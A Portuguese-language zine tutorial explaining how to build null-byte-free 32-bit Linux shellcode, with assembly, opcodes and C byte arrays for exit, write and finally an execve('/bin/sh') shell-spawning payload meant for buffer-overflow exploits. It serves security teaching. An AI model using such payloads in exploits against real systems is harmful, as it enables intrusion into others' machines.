____
_.-'111 `"`--._
,00010. .01011, ''-..
,10101010 `111000. _ ____ ;
/_..__..-------- ''' __.' /
`-._ /""| _..-''' ___ __ __ ___ __ __ . __' ___ . __
"`-----\ `\ | | | | __ | | |\/| |___ | | | |__] | |\ | |__| |__/ | | |
| ;.-""--.. |___ |__| |__] |__| | | |___ |___ |__| |__] | | \| | | | \ | |__|
| ,10. 101. `.======================================== ==============================
`;1010 `0110 : 1º Edição
.1""-.|`-._ ;
010 _.-| +---+----'
`--'\` | / / ...:::binariae:fungus:::...
~~~~~~~~~| / | |~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
\| / |
`----`---'
Construindo shellcodes por m0nad.
Índice
1) Apresentação
2) O que são shellcodes?
3) Ferramentas
4) Ambiente
5) System Calls
6) Exemplos:
6.1) 'exit(0);' em assembly
6.2) 'exit(0);' em shellcode
6.3) 'exit(0);' em assembly nullbyte-free
6.4) 'exit(0);' em shellcode nullbyte-free
6.5) 'write(1, "Alo Mundo", 10);' em assembly nullbyte-free
6.6) 'write(1, "Alo Mundo", 10);' em shellcode nullbyte-free
6.7) 'execve("/bin/sh", NULL, NULL);' em assembly nullbyte-free
6.8) 'execve("/bin/sh", NULL, NULL);' em shellcode nullbyte-free
7) Perguntas?
8) Referências
1) Apresentação
Ola me chamo Victor Ramos Mello aka m0nad, recomendo que visitem meu github,
http://github.com/m0nad.
Venho aqui explicar o que são e principalmente, como construir shellcodes.
2) O que são shellcodes?
Shellcode ou Payload, são códigos utilizados na exploração de buffer overflows,
são utilizados no desenvolvimento de exploits para exploração desse tipo de falha,
quem já leu os exploits de buffer overflows já os viu, shellcodes são construídos
apenas com os valores em hexadecimal dos opcodes da arquitetura alvo, ou seja,
as instruções do próprio processador, por isso o entendimento da linguagem
assembly, que até certo ponto, possui relação de 1 para 1 com a linguagem
de máquina, se faz necessária.
O shellcode é o código que será de fato executado durante a exploração de um
buffer overflow.
São chamados de 'shellcodes' pois geralmente o seu objetivo é a obtenção de
uma shell.
3) Ferramentas:
Utilizaremos uma serie de ferramentas, todas são de fácil acesso, presentes na
maioria dos unix-like, as ferramentas são:
as - Montador da linguagem Assembly.
ld - Linker.
gcc - Compilador C.
objdump - Visualizador de arquivos objeto.
Linux 32 bits - Sistema Operacional alvo.
4) Ambiente:
O ambiente utilizado foi um GNU/Linux, um Ubuntu, as versões das ferramentas
e do kernel utilizado são:
------------------------------------------------------------------------------------
m0nad@m0nad-notebook:~$ uname -a
Linux m0nad-notebook 2.6.35-30-generic #56-Ubuntu SMP Mon Jul 11 20:00:22 UTC 2011 i686 GNU/Linux
m0nad@m0nad-notebook:~$ as --version
GNU assembler (GNU Binutils for Ubuntu) 2.20.51-system.20100908
Copyright 2010 Free Software Foundation, Inc.
This program is free software; you may redistribute it under the terms of
the GNU General Public License version 3 or later.
This program has absolutely no warranty.
This assembler was configured for a target of `i686-linux-gnu'.
m0nad@m0nad-notebook:~$ ld --version
GNU ld (GNU Binutils for Ubuntu) 2.20.51-system.20100908
Copyright 2010 Free Software Foundation, Inc.
This program is free software; you may redistribute it under the terms of
the GNU General Public License version 3 or (at your option) a later version.
This program has absolutely no warranty.
m0nad@m0nad-notebook:~$ gcc --version
gcc (Ubuntu/Linaro 4.4.4-14ubuntu5) 4.4.5
Copyright (C) 2010 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
m0nad@m0nad-notebook:~$
------------------------------------------------------------------------------------
5) System Calls:
Para construirmos um código simples de assembly em um linux, utilizaremos as
system-calls do sistema operacional, que nada mais são do que chamadas presentes
no kernel para executar tarefas para a aplicação.
Existem diversas técnicas de construção de shellcodes, alguns optam por escrever
o código em C, e depois debugar para descobrir quais syscalls e instruções de
máquina que irá utilizar, outra maneira é escrever o código direto em assembly,
para pegarmos os opcodes e construirmos o shellcode, é esta técnica que
utilizaremos.
6) Exemplos:
6.1) 'exit(0);' em assembly
Vejamos o primeiro exemplo, um 'exit(0);'.
Para executarmos qualquer syscall, precisamos utilizar os registradores, os
registradores de 'propósito geral' na arquitetura da Intel de 32 bits são eax,
ebx, ecx, edx, esi, edi, esp e ebp, já que este será nosso ambiente.
Para executarmos uma determinada syscall, basta mover o número da syscall
desejada, no caso 'exit', para o registrador eax e os demais argumentos para os
registradores ebx, ecx, edx, esi, edi, respectivamente e chamar a interrupção de
kernel 'int 0x80', que o kernel fará o resto.
Para descobrirmos o número das syscalls é simples, basta olharmos o unistd.h,
aqui estava presente em '/usr/include/asm/unistd_32.h.
------------------------------------------------------------------------------------
m0nad@m0nad-notebook:~$ grep exit /usr/include/asm/unistd_32.h
#define __NR_exit 1
#define __NR_exit_group 252
m0nad@m0nad-notebook:~$
------------------------------------------------------------------------------------
Podemos ver que o número da syscall 'exit' é '1', então para criarmos um código
em assembly, com um código equivalente a um 'exit(0);', precisamos colocar o valor
'1' em eax, e o valor '0', em '%ebx', e depois chamar o kernel.
------------------------------------------------------------------------------------
m0nad@m0nad-notebook:~/Assembly$ cat asm_exit_linux32.s
.data
.text
.global _start
_start:
mov $0x1, %eax #syscall exit
mov $0x0, %ebx #exit (0);
int $0x80 #chama o kernel
------------------------------------------------------------------------------------
Pronto, agora vamos montá-lo e linka-lo
------------------------------------------------------------------------------------
m0nad@m0nad-notebook:~/Assembly$ as asm_exit_linux32.s -o asm_exit_linux32.o
m0nad@m0nad-notebook:~/Assembly$ ld asm_exit_linux32.o -o asm_exit_linux32
------------------------------------------------------------------------------------
Ao executá-lo, nada acontecerá, pois ele somente ira executar um exit, e irá
sair de sua execução, por isso, executaremos com strace.
------------------------------------------------------------------------------------
m0nad@m0nad-notebook:~/Assembly$ strace ./asm_exit_linux32
execve("./asm_exit_linux32", ["./asm_exit_linux32"], [/* 39 vars */]) = 0
_exit(0) = ?
m0nad@m0nad-notebook:~/Assembly$
------------------------------------------------------------------------------------
Sucesso! Podemos ver que nossa syscall 'exit(0);' foi chamada, vamos agora
descobrir os opcodes utilizados, ou seja, os valores das instruções de máquina.
6.2) 'exit(0);' em shellcode
Basta usarmos o 'objdump' para vermos os opcodes...
------------------------------------------------------------------------------------
m0nad@m0nad-notebook:~/Assembly$ objdump -d asm_exit_linux32
asm_exit_linux32: file format elf32-i386
Disassembly of section .text:
08048054 <_start>:
8048054: b8 01 00 00 00 mov $0x1,%eax
8048059: bb 00 00 00 00 mov $0x0,%ebx
804805e: cd 80 int $0x80
m0nad@m0nad-notebook:~/Assembly$
------------------------------------------------------------------------------------
Os opcodes, são os números em hexa no centro, entre os endereços e as instruções
em assembly.
Basta colocar os valores hexa numa string, e assim teremos o nosso shellcode.
------------------------------------------------------------------------------------
m0nad@m0nad-notebook:~/Assembly$ cat sc_exit_linux32.c
const char sc[] =
"\xb8\x01\x00\x00\x00" // mov $0x1,%eax
"\xbb\x00\x00\x00\x00" // mov $0x0,%ebx
"\xcd\x80" // int $0x80
;
int
main ()
{
__asm__ ("jmp sc");
return 0;
}
------------------------------------------------------------------------------------
Compilando...
------------------------------------------------------------------------------------
m0nad@m0nad-notebook:~/Assembly$ gcc -o sc_exit_linux32 sc_exit_linux32.c
m0nad@m0nad-notebook:~/Assembly$
------------------------------------------------------------------------------------
Vamos agora executar com strace, para ver se tudo ocorre como o esperado.
------------------------------------------------------------------------------------
m0nad@m0nad-notebook:~/Assembly$ strace ./sc_exit_linux32
execve("./sc_exit_linux32", ["./sc_exit_linux32"], [/* 39 vars */]) = 0
brk(0) = 0x8fae000
uname({sys="Linux", node="m0nad-notebook", ...}) = 0
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7825000
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=71040, ...}) = 0
mmap2(NULL, 71040, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7813000
close(3) = 0
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
open("/lib/libc.so.6", O_RDONLY) = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0@n\1\0004\0\0\0"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1421892, ...}) = 0
mmap2(NULL, 1427880, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x454000
mmap2(0x5ab000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x157) = 0x5ab000
mmap2(0x5ae000, 10664, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x5ae000
close(3) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7812000
set_thread_area({entry_number:-1 -> 6, base_addr:0xb78126c0, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0
mprotect(0x5ab000, 8192, PROT_READ) = 0
mprotect(0x8049000, 4096, PROT_READ) = 0
mprotect(0x7a6000, 4096, PROT_READ) = 0
munmap(0xb7813000, 71040) = 0
_exit(0) = ?
m0nad@m0nad-notebook:~/Assembly$
------------------------------------------------------------------------------------
Vemos que nossa syscall 'exit(0);' foi executada com sucesso! E dessa vez em
forma de shellcode.
Mas temos um problema, os nullbytes, esses valores '\x00' no shellcode, isto é
devido ao simples fato de que, na maioria das falhas de buffer overflows, os dados
a serem colocados na memória, são geralmente strings, e a linguagem C, utiliza o
nullbyte como término da string, no caso de uma função como 'strcpy', o shellcode
não seria copiado inteiramente para o buffer, fazendo com que nosso shellcode não
seja executado por completo, o que resultaria em resultados indesejáveis, então
precisamos criar um shellcode sem os benditos nullbytes.
6.3) 'exit(0);' em assembly nullbyte-free
Vamos tentar criar um exit sem os nullbytes, vejamos o exemplo:
------------------------------------------------------------------------------------
m0nad@m0nad-notebook:~/Assembly$ cat asm_nbf_exit_linux32.s
.data
.text
.global _start
_start:
xor %eax, %eax #zera %eax
xor %ebx, %ebx #zera %ebx
inc %eax #eax igual a 1
int $0x80 #chama o kernel
m0nad@m0nad-notebook:~/Assembly$
------------------------------------------------------------------------------------
Montando e linkando...
------------------------------------------------------------------------------------
m0nad@m0nad-notebook:~/Assembly$ as -o asm_nbf_exit_linux32.o asm_nbf_exit_linux32.s
m0nad@m0nad-notebook:~/Assembly$ ld -o asm_nbf_exit_linux32 asm_nbf_exit_linux32.o
------------------------------------------------------------------------------------
Executando!
------------------------------------------------------------------------------------
m0nad@m0nad-notebook:~/Assembly$ ./asm_nbf_exit_linux32
m0nad@m0nad-notebook:~/Assembly$ strace ./asm_nbf_exit_linux32
execve("./asm_nbf_exit_linux32", ["./asm_nbf_exit_linux32"], [/* 39 vars */]) = 0
_exit(0) = ?
m0nad@m0nad-notebook:~/Assembly$
------------------------------------------------------------------------------------
Perfeito! Nossa syscall foi chamada, e tudo parece ocorrer bem.
Vamos ver se realmente não possui null bytes.
------------------------------------------------------------------------------------
m0nad@m0nad-notebook:~/Assembly$ objdump -d asm_nbf_exit_linux32
asm_nbf_exit_linux32: file format elf32-i386
Disassembly of section .text:
08048054 <_start>:
8048054: 31 c0 xor %eax,%eax
8048056: 31 db xor %ebx,%ebx
8048058: 40 inc %eax
8048059: cd 80 int $0x80
m0nad@m0nad-notebook:~/Assembly$
------------------------------------------------------------------------------------
Vejam que agora os nullbytes sumiram! Para isso, evitamos mover valores para os
registradores, o ideal é zerar o registrador com 'xor', onde qualquer valor 'xor'
ele mesmo é igual a zero, e depois mover para as partes 'baixas' do registrador,
como '%al', mas nesse caso, utilizei a instrução 'inc' para incrementar o 'eax',
que também não gera nullbytes.
6.4) 'exit(0);' em shellcode nullbyte-free
Mais uma vez, basta pegarmos os opcodes do output do objdump, e colocarmos num
vetor de char.
------------------------------------------------------------------------------------
m0nad@m0nad-notebook:~/projects/ASM/Assembly$ cat sc_nbf_exit_linux32.c
const char sc[] =
"\x31\xc0" // xor %eax,%eax
"\x31\xdb" // xor %ebx,%ebx
"\x40" // inc %eax
"\xcd\x80" // int $0x80
;
int
main ()
{
__asm__ ("jmp sc");
return 0;
}
m0nad@m0nad-notebook:~/projects/ASM/Assembly$
------------------------------------------------------------------------------------
Compilando...e executando!
------------------------------------------------------------------------------------
m0nad@m0nad-notebook:~/projects/ASM/Assembly$ gcc -o sc_nbf_exit_linux32 sc_nbf_exit_linux32.c
m0nad@m0nad-notebook:~/projects/ASM/Assembly$ ./sc_nbf_exit_linux32
m0nad@m0nad-notebook:~/projects/ASM/Assembly$ strace ./sc_nbf_exit_linux32
execve("./sc_nbf_exit_linux32", ["./sc_nbf_exit_linux32"], [/* 39 vars */]) = 0
brk(0) = 0x881b000
uname({sys="Linux", node="m0nad-notebook", ...}) = 0
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb78c9000
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=71040, ...}) = 0
mmap2(NULL, 71040, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb78b7000
close(3) = 0
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
open("/lib/libc.so.6", O_RDONLY) = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0@n\1\0004\0\0\0"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1421892, ...}) = 0
mmap2(NULL, 1427880, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xd07000
mmap2(0xe5e000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x157) = 0xe5e000
mmap2(0xe61000, 10664, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xe61000
close(3) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb78b6000
set_thread_area({entry_number:-1 -> 6, base_addr:0xb78b66c0, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0
mprotect(0xe5e000, 8192, PROT_READ) = 0
mprotect(0x8049000, 4096, PROT_READ) = 0
mprotect(0x154000, 4096, PROT_READ) = 0
munmap(0xb78b7000, 71040) = 0
_exit(0) = ?
m0nad@m0nad-notebook:~/projects/ASM/Assembly$
------------------------------------------------------------------------------------
Vimos que funciona perfeitamente, já sabemos escrever shellcodes nullbyte-free,
ou seja, livre de bytes nulos.
6.5) 'write(1, "Alo Mundo", 10);' em assembly nullbyte-free
Vamos passar agora para um exemplo um pouco mais complexo, vamos escrever um
'Alo Mundo' em assembly, e nullbyte-free, para isso vamos utilizar as técnicas
vistas anteriormente, o maior problema que teremos que enfrentar sera copiar o
endereço da string para '%ecx', para isso há diversas técnicas, no artigo do
AlephOne[1], ele utiliza a instrução 'call' com a string logo em seguida, pois a
instrução 'call' salva o endereço da próxima instrução na pilha, então bastaria
dar um 'pop %ecx', para assim capturarmos o endereço, mas nós utilizaremos outra
técnica, de dar 'push' na string, e depois copiar o endereço do '%esp' para o
'%ecx', para isso basta colocar a string de traz para frente, já que a pilha é um
LIFO (Last in, First Out) ou seja, o último que entra é o primeiro que sai, e com
seus valores ascii em hexadecimal, já que vamos passar como simples números para a
pilha.
Vamos descobrir os valores em hexa de traz para frente.
------------------------------------------------------------------------------------
m0nad@m0nad-notebook:~/Assembly$ echo -n Alo Mundo | perl -ne 'printf "%x", unpack "C*" foreach (reverse split //) ';echo
6f646e754d206f6c41
m0nad@m0nad-notebook:~/Assembly$
------------------------------------------------------------------------------------
Pronto, já temos os valores em hexa da string 'Alo Mundo' de traz para frente.
Vamos construir o shellcode para printar o 'Alo Mundo', colocando novamente o
número da syscall em '%eax', neste caso 'write', stdout para '%ebx', endereço da
string para '%ecx', e o tamanho da string para '%edx', para evitarmos os nullbytes
vamos zerar os registradores com 'xor' e mover os valores para as partes baixas
dos registradores.
------------------------------------------------------------------------------------
m0nad@m0nad-notebook:~/Assembly$ cat asm_nbf_write_alomundo_linux32.s
.text
.globl _start
_start:
xor %eax, %eax #zera %eax
mov $0x4, %al #move 4(write) para a %al
xor %ebx, %ebx #zera %ebx
push %ebx #poe o nullbyte na pilha
inc %ebx #stdout em %ebx
push $0x6f #coloca a string na pilha
push $0x646e754d #
push $0x206f6c41 #
mov %esp, %ecx #ponteiro da string para %ecx
xor %edx, %edx #zera %edx
mov $0xa, %dl #tamanho da string para %dl
int $0x80 #chama o kernel
xor %eax, %eax #exit(0);
xor %ebx, %ebx #
inc %eax #
int $0x80 #
m0nad@m0nad-notebook:~/Assembly$ as -o asm_nbf_write_alomundo_linux32.o asm_nbf_write_alomundo_linux32.s
m0nad@m0nad-notebook:~/Assembly$ ld -o asm_nbf_write_alomundo_linux32 asm_nbf_write_alomundo_linux32.o
m0nad@m0nad-notebook:~/Assembly$ ./asm_nbf_write_alomundo_linux32 ;echo
Alo Mundo
m0nad@m0nad-notebook:~/Assembly$
------------------------------------------------------------------------------------
Perfeito, funciona, vamos verificar se realmente não possui nullbytes.
------------------------------------------------------------------------------------
m0nad@m0nad-notebook:~/Assembly$ objdump -d asm_nbf_write_alomundo_linux32
asm_nbf_write_alomundo_linux32: file format elf32-i386
Disassembly of section .text:
08048054 <_start>:
8048054: 31 c0 xor %eax,%eax
8048056: b0 04 mov $0x4,%al
8048058: 31 db xor %ebx,%ebx
804805a: 53 push %ebx
804805b: 43 inc %ebx
804805c: 6a 6f push $0x6f
804805e: 68 4d 75 6e 64 push $0x646e754d
8048063: 68 41 6c 6f 20 push $0x206f6c41
8048068: 89 e1 mov %esp,%ecx
804806a: 31 d2 xor %edx,%edx
804806c: b2 0a mov $0xa,%dl
804806e: cd 80 int $0x80
8048070: 31 c0 xor %eax,%eax
8048072: 31 db xor %ebx,%ebx
8048074: 40 inc %eax
8048075: cd 80 int $0x80
m0nad@m0nad-notebook:~/Assembly$
------------------------------------------------------------------------------------
Legal! Esta livre de bytes nulos! Vamos ao shellcode.
6.6) 'write(1, "Alo Mundo", 10);' em shellcode nullbyte-free
Vamos ao shellcode, basta escrevermos o shellcode utilizando estes opcodes.
------------------------------------------------------------------------------------
m0nad@m0nad-notebook:~/Assembly$ cat sc_nbf_write_alomundo_linux32.c
const char sc[] =
"\x31\xc0" // xor %eax,%eax
"\xb0\x04" // mov $0x4,%al
"\x31\xdb" // xor %ebx,%ebx
"\x53" // push %ebx
"\x43" // inc %ebx
"\x6a\x6f" // push $0x6f
"\x68\x4d\x75\x6e\x64" // push $0x646e754d
"\x68\x41\x6c\x6f\x20" // push $0x206f6c41
"\x89\xe1" // mov %esp,%ecx
"\x31\xd2" // xor %edx,%edx
"\xb2\x0a" // mov $0xa,%dl
"\xcd\x80" // int $0x80
"\x31\xc0" // xor %eax,%eax
"\x31\xdb" // xor %ebx,%ebx
"\x40" // inc %eax
"\xcd\x80" // int $0x80
;
int
main ()
{
__asm__ ("jmp sc");
return 0;
}
m0nad@m0nad-notebook:~/Assembly$ gcc -o sc_nbf_write_alomundo_linux32 sc_nbf_write_alomundo_linux32.c
m0nad@m0nad-notebook:~/Assembly$ ./sc_nbf_write_alomundo_linux32 ;echo
Alo Mundo
m0nad@m0nad-notebook:~/Assembly$
------------------------------------------------------------------------------------
Sucesso! funciona perfeitamente, um shellcode 'Alo Mundo' nullbyte-free, estamos
perto do nosso objetivo, ou seja, escrever o shellcode que obtem uma shell!
6.7) 'execve("/bin/sh", NULL, NULL);' em assembly nullbyte-free
Bem vamos ver então, o sexto exemplo, o assembly que irá nos dar a shell, para
isso basta colocarmos o valor da syscall 'execve' em '%eax' e o endereço da string
'/bin/sh' em '%ebx', o resto é semelhante ao shellcode anterior, só uma coisa, a
string terá que ser '/bin//sh', usamos uma '/' a mais como um 'padding', para
evitarmos os bytes nulos, novamente de traz para frente.
------------------------------------------------------------------------------------
m0nad@m0nad-notebook:~/Assembly$ cat asm_nbf_execve_sh_linux32.s
.data
.text
.global _start
_start:
xor %eax, %eax #zera %eax
push %eax #coloca nullbyte na pilha
push $0x68732F2F #coloca string /bin//sh na pilha
push $0x6E69622F #
mov $0xb, %al #syscall execve para %al
mov %esp, %ebx #ponteiro da string para %ebx
xor %ecx, %ecx #zera %ecx
xor %edx, %edx #zera %edx
int $0x80 #chama o kernel
xor %eax, %eax #exit(0);
xor %ebx, %ebx #
inc %eax #
int $0x80 #
------------------------------------------------------------------------------------
Montando, linkando e executando...
------------------------------------------------------------------------------------
m0nad@m0nad-notebook:~/Assembly$ as -o asm_nbf_execve_sh_linux32.o asm_nbf_execve_sh_linux32.s
m0nad@m0nad-notebook:~/Assembly$ ld -o asm_nbf_execve_sh_linux32 asm_nbf_execve_sh_linux32.o
m0nad@m0nad-notebook:~/Assembly$ ./asm_nbf_execve_sh_linux32
$ exit
m0nad@m0nad-notebook:~/Assembly$
------------------------------------------------------------------------------------
Sucesso! Vamos verificar se não há bytes nulos, para pegarmos os opcodes.
6.8) 'execve("/bin/sh", NULL, NULL);' em shellcode nullbyte-free
Agora o objetivo de tudo, o shellcode que irá nos dar shell!
------------------------------------------------------------------------------------
m0nad@m0nad-notebook:~/Assembly$ objdump -d asm_nbf_execve_sh_linux32
asm_nbf_execve_sh_linux32: file format elf32-i386
Disassembly of section .text:
08048054 <_start>:
8048054: 31 c0 xor %eax,%eax
8048056: 50 push %eax
8048057: 68 2f 2f 73 68 push $0x68732f2f
804805c: 68 2f 62 69 6e push $0x6e69622f
8048061: b0 0b mov $0xb,%al
8048063: 89 e3 mov %esp,%ebx
8048065: 31 c9 xor %ecx,%ecx
8048067: 31 d2 xor %edx,%edx
8048069: cd 80 int $0x80
804806b: 31 c0 xor %eax,%eax
804806d: 31 db xor %ebx,%ebx
804806f: 40 inc %eax
8048070: cd 80 int $0x80
m0nad@m0nad-notebook:~/Assembly$
m0nad@m0nad-notebook:~/Assembly$ cat sc_nbf_execve_sh_exit_linux32.c
const char sc[] =
"\x31\xc0" // xor %eax,%eax
"\x50" // push %eax
"\x68\x2f\x2f\x73\x68" // push $0x68732f2f
"\x68\x2f\x62\x69\x6e" // push $0x6e69622f
"\xb0\x0b" // mov $0xb,%al
"\x89\xe3" // mov %esp,%ebx
"\x31\xc9" // xor %ecx,%ecx
"\x31\xd2" // xor %edx,%edx
"\xcd\x80" // int $0x80
"\x31\xc0" // xor %eax,%eax
"\x31\xdb" // xor %ebx,%ebx
"\x40" // inc %eax
"\xcd\x80" // int $0x80
;
int
main ()
{
__asm__ ("jmp sc");
return 0;
}
------------------------------------------------------------------------------------
Compilando e executando...
------------------------------------------------------------------------------------
m0nad@m0nad-notebook:~/Assembly$ gcc -o sc_nbf_execve_sh_exit_linux32 sc_nbf_execve_sh_exit_linux32.c
m0nad@m0nad-notebook:~/Assembly$ ./sc_nbf_execve_sh_exit_linux32
$ exit
m0nad@m0nad-notebook:~/Assembly$
------------------------------------------------------------------------------------
Sucesso! Um shellcode funcional nullbyte-free, que executa a nossa shell!
7) Perguntas?
m0nad /at/ email.com
8) Referências
[1] Smash the Stack for Fun and Profit - AlephOne
AAAAA
?AAAAAA?
AAAAAN AAAAAAAAA
AAA A+ AAAAAAAAAA
A. A? AAAAAAAAAAA
AA AAAAAAAAAAA
AA + AAAAAAAAAAA
A AAAAAAA AAAAAAAAAAA
NA AAAAAAAAAA. AAAAAAAAAAAA
A AAAAAAAAAAAAAAA AAAAAAAAAAA
A AAAAAAAAAAAAAAAA AAAAAAAAAA
N AAAAAAAAAAAAAAAAA AAAAAAAA A
AA AAAAAAAAAAAAAAAAAAA AAAAAA A
A AA AAAAAAAAAAAAAAAAAAAAAAAAAA+
. . AAA AAAAAAAAAAAAAAAAAAAAAAAAAA A
A AA AAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAA A
A AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +
A AAAAAAA ?AAAAAAAAAAAAAAAAAAAAAAAA A
+ AA AAA AAAAAAAAAAAAAAAAAAAAAAAAAAA A
AA.AAAA.+AAAAAAAAAAAAAAAAAAAAAAAA A
. AAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAA. A
A +.++ AA+ A+AAAAAAAAAAAAAAAAAAAAAA ?
A A A. A+ AAAA.AAAAAAAAAAAAAAAN
A .A ? AAA AAAA AAAAAAAAAA A
A A+ AAA AAAI +AAAAAAAAN .
+ AAA AAA AAAAAAAA A
N AA? AAA AAAAAA.
A AAA AAA AAAAAAA .
A .A. AA AA AAA .
. AA AA AAA.AAA ..
A AA?AA AA. AAA A
N. AAAAA AA AA ?+
A AA.AAA AA AA ..
AAAAAAAAAA . AA AA .A
AAAN+AAA +AAAA AA
. .AAAAAA AAAA.
AAAA
. A+